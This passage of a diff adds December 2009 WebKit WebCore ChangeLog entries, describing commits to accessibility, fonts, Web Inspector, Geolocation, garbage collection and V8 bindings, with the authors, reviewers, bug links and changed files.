+        (WebInspector.Section.prototype.get populated):
+        (WebInspector.Section.prototype.set populated):
+        (WebInspector.Section.prototype.expand):
+        (WebInspector.Section.prototype.collapse):
+        (WebInspector.Section.prototype.toggleExpanded):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+
+2009-12-15  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r52140.
+        http://trac.webkit.org/changeset/52140
+        https://bugs.webkit.org/show_bug.cgi?id=31299
+
+        The commit broke the Leopard bots and unfortunately
+        Chris wasn't around to fix them, so I'm rolling the change
+        out after 3 hours so that the bots can roll green again. :)
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::getOrCreate):
+        * accessibility/AccessibilityARIAGrid.h:
+        * accessibility/AccessibilityARIAGridRow.cpp:
+        * accessibility/AccessibilityARIAGridRow.h:
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::createARIARoleMap):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::isMultiSelect):
+        (WebCore::AccessibilityRenderObject::setIsExpanded):
+        (WebCore::AccessibilityRenderObject::setSelectedRows):
+        (WebCore::AccessibilityRenderObject::ariaTreeSelectedRows):
+        (WebCore::AccessibilityRenderObject::ariaListboxSelectedChildren):
+        (WebCore::AccessibilityRenderObject::selectedChildren):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/AccessibilityTable.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper additionalAccessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        (-[AccessibilityObjectWrapper accessibilitySetValue:forAttribute:]):
+
+2009-12-14  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Remove dead code from FontPlatformDataQt.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=32540
+
+        In r51758 the code that used familyNames was removed
+        and we should remove the creation of the familyNames
+        as well.
+
+        * platform/graphics/qt/FontPlatformDataQt.cpp:
+        (WebCore::FontPlatformData::FontPlatformData):
+
+2009-12-15  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Adam Roben.
+
+        WebCore part of <rdar://problem/7173515> Use LOGFONT support in Core
+        Graphics when available
+
+        When using a version of Core Graphics with LOGFONT support, this fixes
+        <rdar://problem/5764844> First-time launch is painfully slow due to font
+        plist creation
+        and <rdar://problem/6576281> 12px synthetic-italics Tahoma text is less
+        readable in Safari than in Firefox/IE due to poorly-spaced letters
+
+        * platform/graphics/win/FontCGWin.cpp:
+        (WebCore::Font::drawGlyphs): No longer call drawGDIGlyphs for stroked
+        text.
+        * platform/graphics/win/FontCacheWin.cpp:
+        (WebCore::createGDIFont): Added a synthesizeItalic parameter. When set
+        to true, if italics are desired but the best match lacks italics,
+        creates and returns a synthetic italics font.
+        (WebCore::FontCache::createFontPlatformData): Ask to synthesize italics
+        if needed.
+        * platform/graphics/win/FontCustomPlatformData.cpp:
+        (WebCore::FontCustomPlatformData::fontPlatformData): Updated an
+        assertion, and changed to create the CGFont from the LOGFONT.
+        (WebCore::createFontCustomPlatformData): Changed cgFont to be a
+        RetainPtr. Do not create a CGFont from the font data if it can be
+        created from the LOGFONT in fontPlatformData().
+        * platform/graphics/win/FontDatabase.cpp:
+        (WebCore::populateFontDatabase): Avoid font database work if fonts are
+        not going to be looked up by name.
+        * platform/graphics/win/FontPlatformDataCGWin.cpp:
+        (WebCore::FontPlatformData::platformDataInit): Create the CGFont from
+        a LOGFONT based on the HFONT.
+
+2009-12-14  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        WAI-ARIA: implement treegrid
+        https://bugs.webkit.org/show_bug.cgi?id=31299
+
+        Test: platform/mac/accessibility/aria-treegrid.html
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::getOrCreate):
+        * accessibility/AccessibilityARIAGrid.h:
+        (WebCore::AccessibilityARIAGrid::supportsSelectedRows):
+        * accessibility/AccessibilityARIAGridRow.cpp:
+        (WebCore::AccessibilityARIAGridRow::isARIATreeGridRow):
+        (WebCore::AccessibilityARIAGridRow::disclosedRows):
+        (WebCore::AccessibilityARIAGridRow::disclosedByRow):
+        * accessibility/AccessibilityARIAGridRow.h:
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::createARIARoleMap):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::isARIATreeGridRow):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::isMultiSelectable):
+        (WebCore::AccessibilityRenderObject::setIsExpanded):
+        (WebCore::AccessibilityRenderObject::setSelectedRows):
+        (WebCore::AccessibilityRenderObject::ariaSelectedRows):
+        (WebCore::AccessibilityRenderObject::ariaListboxSelectedChildren):
+        (WebCore::AccessibilityRenderObject::selectedChildren):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/AccessibilityTable.h:
+        (WebCore::AccessibilityTable::supportsSelectedRows):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper additionalAccessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        (-[AccessibilityObjectWrapper accessibilitySetValue:forAttribute:]):
+
+2009-12-14  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7460655> REGRESSION (r47255): Content shifted down at software.opensuse.org
+        https://bugs.webkit.org/show_bug.cgi?id=32382
+
+        Test: fast/block/float/in-margin.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::getClearDelta): Floats that do not intrude into the line (because
+        they are in the margin) do not need to be cleared.
+
+2009-12-14  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by John Sullivan.
+
+        Pressing backspace inside a table cell erases all empty rows below it.
+        <rdar://problem/5565461>
+        https://bugs.webkit.org/show_bug.cgi?id=32526
+
+        No deletion is performed when the caret selection is on an empty table cell.
+        
+        Test: editing/deleting/delete-empty-table.html
+
+        * editing/TypingCommand.cpp:
+        (WebCore::TypingCommand::deleteKeyPressed): Added check for empty table cells in
+        case of caret selection.
+
+2009-12-14  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Darin Adler.
+
+        [Android] Android needs ResourceHandle implementation
+        https://bugs.webkit.org/show_bug.cgi?id=32515
+
+        Adds implementation of ResourceHandle on Android.
+
+        No new tests needed, this is platform-specific code, so existing
+        tests are sufficient.
+
+        * platform/network/android/ResourceHandleAndroid.cpp: Added.
+        (WebCore::ResourceHandleInternal::~ResourceHandleInternal):
+        (WebCore::ResourceHandle::~ResourceHandle):
+        (WebCore::ResourceHandle::start):
+        (WebCore::ResourceHandle::cancel):
+        (WebCore::ResourceHandle::bufferedData):
+        (WebCore::ResourceHandle::supportsBufferedData):
+        (WebCore::ResourceHandle::setDefersLoading):
+        (WebCore::ResourceHandle::willLoadFromCache):
+        (WebCore::ResourceHandle::loadsBlocked):
+        (WebCore::SyncLoader::SyncLoader):
+        (WebCore::SyncLoader::~SyncLoader):
+        (WebCore::SyncLoader::didReceiveResponse):
+        (WebCore::SyncLoader::didReceiveData):
+        (WebCore::SyncLoader::didFail):
+        (WebCore::ResourceHandle::loadResourceSynchronously):
+        * platform/network/android/ResourceLoaderAndroid.h: Added.
+        (WebCore::ResourceLoaderAndroid::~ResourceLoaderAndroid):
+        (WebCore::ResourceLoaderAndroid::ResourceLoaderAndroid):
+
+2009-12-14  Marco Martin  <notmart@gmail.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        In the Scrollbar painting of the Qt theme integration,
+        intersects any previous clip rects with the one needed to paint the scrollbar.
+        This fixes the painting in QGraphicsview, when the parent of the widget that 
+        paints the QWebPage has the QGraphicsItem::ItemClipsChildrenToShape set and
+        a piece of the scrollbar should be cipped away
+        https://bugs.webkit.org/show_bug.cgi?id=30366
+
+        No new tests.
+
+        * platform/qt/ScrollbarThemeQt.cpp:
+        (WebCore::ScrollbarThemeQt::paint):
+
+2009-12-14  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] Generate bindings for trivial indexers.
+        https://bugs.webkit.org/show_bug.cgi?id=32455
+
+        Covered by existing tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+            Added detecting indexers and generating code for them.
+        * bindings/v8/V8Collection.h: Removed code that's now generated.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Ditto.
+
+2009-12-14  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31660
+        REGRESSION (r49394): Image load event fires before the document fragment is attached.
+
+        Test: fast/images/image-load-event-in-fragment.html
+
+        We cannot fire load events immediately after parsing a fragment - an element inserted via
+        innerHTML or equivalent should be reachable via getElementById() by the time its load event
+        fires.
+
+        * dom/Document.cpp: (WebCore::Document::implicitClose): Call dispatchPendingBeforeLoadEvents()
+        and dispatchPendingLoadEvents() individually. I'm not sure why these calls are here, just
+        preserving existing behavior.
+
+        * dom/XMLTokenizer.cpp: (WebCore::XMLTokenizer::write):
+        * html/HTMLTokenizer.cpp: (WebCore::HTMLTokenizer::write):
+        Load events for elements that have just been parsed cannot be dispatched yet, we should give
+        the elements a chance to be inserted into a document first. There is no compatibility baggage
+        for beforeload, so it seems OK to dispatch it right away.
+
+        * loader/ImageLoader.cpp:
+        (WebCore::ImageLoader::dispatchPendingBeforeLoadEvents):
+        (WebCore::ImageLoader::dispatchPendingLoadEvents):
+        * loader/ImageLoader.h:
+        Separated dispatchPendingEvents() into individual functions for each event kind.
+
+2009-12-14  Jakob Petsovits  <jpetsovits@rim.com>
+
+        Reviewed by Simon Fraser.
+
+        Add FloatQuad::isRectilinear() to check whether it can be represented as FloatRect.
+        https://bugs.webkit.org/show_bug.cgi?id=30442
+
+        This enables optimizations for distinguishing between
+        arbitrary FloatQuads and rectilinear ones.
+
+        * platform/graphics/FloatQuad.cpp:
+        (WebCore::FloatQuad::isRectilinear):
+        * platform/graphics/FloatQuad.h:
+
+2009-12-14  Simon Hausmann  <hausmann@webkit.org>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] Add support for keyboard modifiers to TouchEvent
+
+        https://bugs.webkit.org/show_bug.cgi?id=32482
+
+        Similar to other ui events with keyboard state, get the alt, shift,
+        meta and ctrl modifiers straight from the platform event.
+
+        * dom/TouchEvent.cpp:
+        (WebCore::TouchEvent::TouchEvent):
+        (WebCore::TouchEvent::initTouchEvent):
+        * dom/TouchEvent.h:
+        (WebCore::TouchEvent::create):
+        * dom/TouchEvent.idl:
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleTouchEvent):
+        * platform/PlatformTouchEvent.h:
+        (WebCore::PlatformTouchEvent::PlatformTouchEvent):
+        (WebCore::PlatformTouchEvent::shiftKey):
+        (WebCore::PlatformTouchEvent::ctrlKey):
+        (WebCore::PlatformTouchEvent::altKey):
+        (WebCore::PlatformTouchEvent::metaKey):
+        * platform/qt/PlatformTouchEventQt.cpp:
+        (WebCore::PlatformTouchEvent::PlatformTouchEvent):
+
+2009-12-14  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] crash when clicking "Sign out" in GMail
+        https://bugs.webkit.org/show_bug.cgi?id=32300
+
+        When the ResourceLoader cancels the handle we have to make sure not to access
+        the resource handle afterwards again.
+        This complete r29515
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+
+2009-12-14  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Implement InjectedScript.evaluateOnSelf() that evaluates functions in the InjectedScript context.
+        https://bugs.webkit.org/show_bug.cgi?id=32517
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.evaluateOnSelf):
+        * inspector/front-end/InjectedScriptAccess.js:
+
+2009-12-14  Nayan Kumar K  <nayankk@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for compilation errors in WML enabled builds.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32481
+
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::setValue):
+        (WebCore::WMLInputElement::setValueForUser):
+        * wml/WMLInputElement.h:
+
+2009-12-14  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Darin Adler.
+
+        [Android] Android needs ResourceError, ResourceResponse and
+        ResourceRequest implementation.
+        https://bugs.webkit.org/show_bug.cgi?id=32522
+
+        Add implementation of ResourceError, ResourceResponse and ResourceRequest.
+        No new tests needed, the existing tests should be sufficient.
+
+        * platform/network/android/ResourceError.h: Added.
+        (WebCore::ResourceError::ResourceError):
+        * platform/network/android/ResourceRequest.h: Added.
+        (WebCore::ResourceRequest::ResourceRequest):
+        (WebCore::ResourceRequest::doUpdatePlatformRequest):
+        (WebCore::ResourceRequest::doUpdateResourceRequest):
+        (WebCore::ResourceRequest::setUserGesture):
+        (WebCore::ResourceRequest::getUserGesture):
+        * platform/network/android/ResourceResponse.h: Added.
+        (WebCore::ResourceResponse::ResourceResponse):
+        (WebCore::ResourceResponse::doUpdateResourceResponse):
+
+2009-12-14  Sam Weinig  <sam@webkit.org>
+
+        Fix the build.
+
+        * page/Geolocation.cpp:
+        * page/Geolocation.h:
+
+2009-12-13  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=32499
+        Add client based Geolocation provider
+
+        Add first cut of a client based Geolocation provider. This is guarded by
+        ENABLE(CLIENT_BASED_GEOLOCATION) and is off by default for now. This adds a
+        GeolocationControllerClient interface that no-one currently implements,
+        but will in a subsequent patch.
+
+        * GNUmakefile.am:
+        * WebCore.base.exp:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * page/Geolocation.cpp:
+        (WebCore::createGeopositionFromGeolocationPosition):
+        (WebCore::createPositionErrorFromGeolocationError):
+        (WebCore::Geolocation::Geolocation):
+        (WebCore::Geolocation::~Geolocation):
+        (WebCore::Geolocation::disconnectFrame):
+        (WebCore::Geolocation::lastPosition):
+        (WebCore::Geolocation::startRequest):
+        (WebCore::Geolocation::fatalErrorOccurred):
+        (WebCore::Geolocation::requestTimedOut):
+        (WebCore::Geolocation::clearWatch):
+        (WebCore::Geolocation::handleError):
+        (WebCore::Geolocation::positionChanged):
+        (WebCore::Geolocation::makeSuccessCallbacks):
+        (WebCore::Geolocation::errorOccurred):
+        (WebCore::Geolocation::geolocationServicePositionChanged):
+        (WebCore::Geolocation::geolocationServiceErrorOccurred):
+        (WebCore::Geolocation::startUpdating):
+        (WebCore::Geolocation::stopUpdating):
+        * page/Geolocation.h:
+        * page/GeolocationController.cpp: Added.
+        (WebCore::GeolocationController::GeolocationController):
+        (WebCore::GeolocationController::~GeolocationController):
+        (WebCore::GeolocationController::addObserver):
+        (WebCore::GeolocationController::removeObserver):
+        (WebCore::GeolocationController::positionChanged):
+        (WebCore::GeolocationController::errorOccurred):
+        (WebCore::GeolocationController::lastPosition):
+        * page/GeolocationController.h: Added.
+        * page/GeolocationControllerClient.h: Added.
+        (WebCore::GeolocationControllerClient::~GeolocationControllerClient):
+        * page/GeolocationError.h: Added.
+        (WebCore::GeolocationError::):
+        (WebCore::GeolocationError::create):
+        (WebCore::GeolocationError::code):
+        (WebCore::GeolocationError::message):
+        * page/GeolocationPosition.h: Added.
+        (WebCore::GeolocationPosition::create):
+        (WebCore::GeolocationPosition::timestamp):
+        (WebCore::GeolocationPosition::latitude):
+        (WebCore::GeolocationPosition::longitude):
+        (WebCore::GeolocationPosition::accuracy):
+        (WebCore::GeolocationPosition::altitude):
+        (WebCore::GeolocationPosition::altitudeAccuracy):
+        (WebCore::GeolocationPosition::heading):
+        (WebCore::GeolocationPosition::speed):
+        (WebCore::GeolocationPosition::canProvideAltitude):
+        (WebCore::GeolocationPosition::canProvideAltitudeAccuracy):
+        (WebCore::GeolocationPosition::canProvideHeading):
+        (WebCore::GeolocationPosition::canProvideSpeed):
+        (WebCore::GeolocationPosition::GeolocationPosition):
+        * page/Geoposition.h:
+        (WebCore::Geoposition::create):
+        * page/Page.cpp:
+        (WebCore::Page::Page):
+        * page/Page.h:
+        (WebCore::Page::geolocationController):
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::dataChanged):
+
+2009-12-14  Adam Langley  <agl@google.com>
+
+        Reviewed by Darin Adler.
+
+        Test that an image's size is valid before reading it.
+
+        Previously, an image that failed to load (m_failed == true) would
+        trigger an assertion failure when WebKit tried to get its size.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32176
+        http://code.google.com/p/chromium/issues/detail?id=28566
+
+        Test: fast/images/size-failure.html
+
+        * platform/graphics/ImageSource.cpp:
+        (WebCore::ImageSource::createFrameAtIndex):
+
+2009-12-14  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7458272> REGRESSION (r50470) Reproducible ASSERT in
+        RenderWidget::setWidgetGeometry()
+
+        Test: fast/forms/defer-updateFromElement.html
+
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::updateFromElementCallback): Added this post-attach callback
+        that invokes updateFromElement().
+        (WebCore::HTMLFormControlElement::recalcStyle): Instead of calling
+        updateFromElement(), enqueue a post-attach (in this case, post-style
+        recalc) callback to do it. updateFromElement() can cause the selection
+        to change, and in turn trigger synchronous layout, so it must not be
+        called during style recalc.
+
+2009-12-14  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: [regression] inspector deletes nodes when editing css.
+
+        Now all the treeoutlines are focusable, sections and their titles
+        are also focusable. Change contains couple of drive-by fixes such as
+        canceling of the attribute edit nuking attr info and maintaining proper
+        selection while deleting nodes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32460
+
+        * inspector/front-end/CallStackSidebarPane.js:
+        (WebInspector.CallStackSidebarPane.prototype.handleShortcut):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._promptKeyDown):
+        * inspector/front-end/DataGrid.js:
+        (WebInspector.DataGrid.prototype._keyDown):
+        * inspector/front-end/DatabaseQueryView.js:
+        (WebInspector.DatabaseQueryView):
+        (WebInspector.DatabaseQueryView.prototype._promptKeyDown):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel.prototype.get defaultFocusedElement):
+        (WebInspector.ElementsPanel.prototype.handleShortcut):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline):
+        (WebInspector.ElementsTreeOutline.prototype._keyDown):
+        (WebInspector.ElementsTreeElement.prototype._textNodeEditingCommitted):
+        (WebInspector.ElementsTreeElement.prototype._editingCancelled):
+        * inspector/front-end/Panel.js:
+        (WebInspector.Panel.prototype.show):
+        (WebInspector.Panel.prototype.get defaultFocusedElement):
+        * inspector/front-end/PropertiesSection.js:
+        (WebInspector.PropertiesSection):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.get defaultFocusedElement):
+        (WebInspector.ScriptsPanel.prototype.handleShortcut):
+        * inspector/front-end/SidebarPane.js:
+        (WebInspector.SidebarPane):
+        (WebInspector.SidebarPane.prototype.toggleExpanded):
+        (WebInspector.SidebarPane.prototype._onTitleKeyDown):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._loaded):
+        * inspector/front-end/TextPrompt.js:
+        (WebInspector.TextPrompt):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.documentKeyDown):
+        (WebInspector.documentCanCopy):
+        (WebInspector.documentCopy):
+        (WebInspector._searchFieldManualFocus):
+        (WebInspector._searchKeyDown):
+        (WebInspector.startEditing.cleanUpAfterEditing):
+        (WebInspector.startEditing.keyDownEventListener):
+        (WebInspector.startEditing):
+        * inspector/front-end/treeoutline.js:
+        (TreeOutline):
+        (TreeOutline._removeChildAtIndex):
+        (TreeOutline.prototype._treeKeyDown):
+        (TreeElement.prototype.deselect):
+        * inspector/front-end/utilities.js:
+        ():
+
+2009-12-14  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Guard all of JSC's wrapper cache-related members on Document.
+
+        * dom/Document.cpp:
+        (WebCore::Document::createWrapperCache): Widened the guards to the whole method.
+        * dom/Document.h: Added JSC guards to wrapper cache-related members.
+
+2009-12-14  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        AX: there's an infinite loop going on for some webpages - facebook.com
+        https://bugs.webkit.org/show_bug.cgi?id=32501
+
+        The problem is that parentObjectUnignored() cannot be called
+        while in accessibilityIsIgnored, because it leads to
+        recursiveness. Specifically, there were checks to determine
+        if an object was within a ARIA tree. That check should
+        1) be moved to all platforms, and 2) not call parentObjectUnignored().
+
+        Test: accessibility/hang-in-isignored.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::isAllowedChildOfTree):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectMac.mm:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+
+2009-12-14  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/6293979> Adopt shared control drawing for <video> controls on Leopard and Windows
+
+        Use MediaControllerThemeQuickTime on Leopard.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::mediaControllerTheme):
+
+2009-12-14  Adam Roben  <aroben@apple.com>
+
+        Move QuartzCore-related build settings into a vsprops file
+
+        Fixes <http://webkit.org/b/32518>
+
+        Reviewed by Dan Bernstein.
+
+        * WebCore.vcproj/WebCore.vcproj: Let VS reformat the files list, added
+        WebCoreQuartzCore.vsprops to the non-Cairo configurations, moved all
+        other QuartzCore-related build settings from here...
+        * WebCore.vcproj/WebCoreQuartzCore.vsprops: ...to here.
+
+2009-12-14  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Antti Koivisto.
+
+        handling scripts can block UI
+        https://bugs.webkit.org/show_bug.cgi?id=27612
+
+        Break execution of external scrips to smaller chunks. 
+        No new tests since no new functionality was introduced.
+
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::HTMLTokenizer):
+        (WebCore::HTMLTokenizer::reset):
+        (WebCore::HTMLTokenizer::notifyFinished):
+        (WebCore::HTMLTokenizer::executeExternalScriptsIfReady):
+        (WebCore::HTMLTokenizer::executeExternalScriptsTimerFired):
+        (WebCore::HTMLTokenizer::continueExecutingExternalScripts):
+        * html/HTMLTokenizer.h:
+
+2009-12-03  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Connect QNetworkReply via direct connections.
+        https://bugs.webkit.org/show_bug.cgi?id=32113
+
+        In the past we have switched from auto connections to queued
+        connections to get some more stability. The problem with the
+        Queued connections is latency. Even when running simple loading
+        tests the time it takes to runs highly varies and by using
+        direct connections these tests produce a stable result.
+
+        We will have to look out for crashes coming from within the
+        QNetworkAccessManager due this patch and address them then.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::start):
+
+2009-12-14  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Rubber-stamped by Simon Hausmann.
+
+        [Qt] QtWebKit should use QImageReader::setQuality(49)
+        https://bugs.webkit.org/show_bug.cgi?id=30740
+
+        Using QImageReader::setQuality(49) will influence the JPEG
+        decoder of Qt to use the JDCT_IFAST routines for decompressing. This
+        is showing a 5% improvement in a reduction that decodes all images
+        used during the page loading test. The libjpeg documentation mentions
+        that the IFAST routine is not as accurate as other routines but in
+        our tests we couldn't see a difference.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::setData):
+
+2009-12-13  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+        
+        Changed GC from mark-sweep to mark-allocate.
+
+        * ForwardingHeaders/runtime/WeakGCMap.h: Added.
+        * bindings/js/GCController.cpp:
+        (WebCore::collect):
+        (WebCore::GCController::gcTimerFired):
+        (WebCore::GCController::garbageCollectNow): Updated for rename.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::removeWrappers):
+        (WebCore::hasCachedDOMObjectWrapperUnchecked):
+        (WebCore::hasCachedDOMObjectWrapper):
+        (WebCore::hasCachedDOMNodeWrapperUnchecked):
+        (WebCore::forgetDOMObject):
+        (WebCore::forgetDOMNode):
+        (WebCore::isObservableThroughDOM):
+        (WebCore::markDOMNodesForDocument):
+        (WebCore::markDOMObjectWrapper):
+        (WebCore::markDOMNodeWrapper):
+        * bindings/js/JSDOMBinding.h: Changed DOM wrapper maps to be WeakGCMaps.
+        Don't ASSERT that an item must be in the WeakGCMap when its destructor
+        runs, since it might have been overwritten in the map first.
+
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::toJS): Changed Document from a DOM object wrapper to a DOM node
+        wrapper, to simplify some code.
+
+        * bindings/js/JSInspectedObjectWrapper.cpp:
+        (WebCore::JSInspectedObjectWrapper::JSInspectedObjectWrapper):
+        (WebCore::JSInspectedObjectWrapper::~JSInspectedObjectWrapper):
+        * bindings/js/JSInspectorCallbackWrapper.cpp: Use a WeakGCMap for these
+        wrappers.
+
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::markChildren): Updated for WeakGCMap and Document using
+        a DOM node wrapper instead of a DOM object wrapper.
+
+        * bindings/js/JSSVGPODTypeWrapper.h:
+        (WebCore::JSSVGDynamicPODTypeWrapperCache::wrapperMap):
+        (WebCore::JSSVGDynamicPODTypeWrapperCache::lookupOrCreateWrapper):
+        (WebCore::JSSVGDynamicPODTypeWrapperCache::forgetWrapper):
+        (WebCore::::~JSSVGDynamicPODTypeWrapper): Shined a small beam of sanity light
+        on this code. Use hashtable-based lookup in JSSVGPODTypeWrapper.h instead
+        of linear lookup through iteration, since that's what hashtables were
+        invented for. Make JSSVGPODTypeWrapper.h responsible for reomving itself
+        from the table, instead of its JS wrapper, to decouple these objects from
+        GC, and because these objects are refCounted, not solely owned by their
+        JS wrappers.
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * dom/Document.h: Adopted changes above.
+
+2009-12-13  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: Removed an incorrect #ifdef.
+
+        * bindings/js/GCController.cpp:
+
+2009-12-13  Charles Reis  <creis@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Refactor some security code out of V8 bindings
+        https://bugs.webkit.org/show_bug.cgi?id=32326
+
+        No new tests. There should be no functionality changes in this patch,
+        since it is only refactoring code.
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+        * bindings/BindingSecurity.h: Added.
+        (WebCore::BindingSecurity::BindingSecurity):
+        (WebCore::::canAccessWindow):
+        (WebCore::::canAccessFrame):
+        (WebCore::::checkNodeSecurity):
+        * bindings/BindingSecurityBase.cpp: Added.
+        (WebCore::BindingSecurityBase::getDOMWindow):
+        (WebCore::BindingSecurityBase::getFrame):
+        (WebCore::BindingSecurityBase::canAccessWindow):
+        * bindings/BindingSecurityBase.h: Added.
+        * bindings/GenericBinding.h: Added.
+        (WebCore::):
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::isSafeScript):
+        * bindings/v8/V8Binding.h:
+        * bindings/v8/V8BindingState.cpp: Added.
+        (WebCore::::Only):
+        (WebCore::::getActiveWindow):
+        (WebCore::::immediatelyReportUnsafeAccessTo):
+        * bindings/v8/V8BindingState.h: Added.
+        (WebCore::):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::reportUnsafeAccessTo):
+        (WebCore::reportUnsafeJavaScriptAccess):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::):
+        * bindings/v8/custom/V8CustomBinding.cpp:
+        (WebCore::allowSettingFrameSrcToJavascriptUrl):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        (WebCore::NAMED_ACCESS_CHECK):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8Custom::ClearTimeoutImpl):
+        (WebCore::NAMED_ACCESS_CHECK):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        (WebCore::NAMED_ACCESS_CHECK):
+
+2009-11-30  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
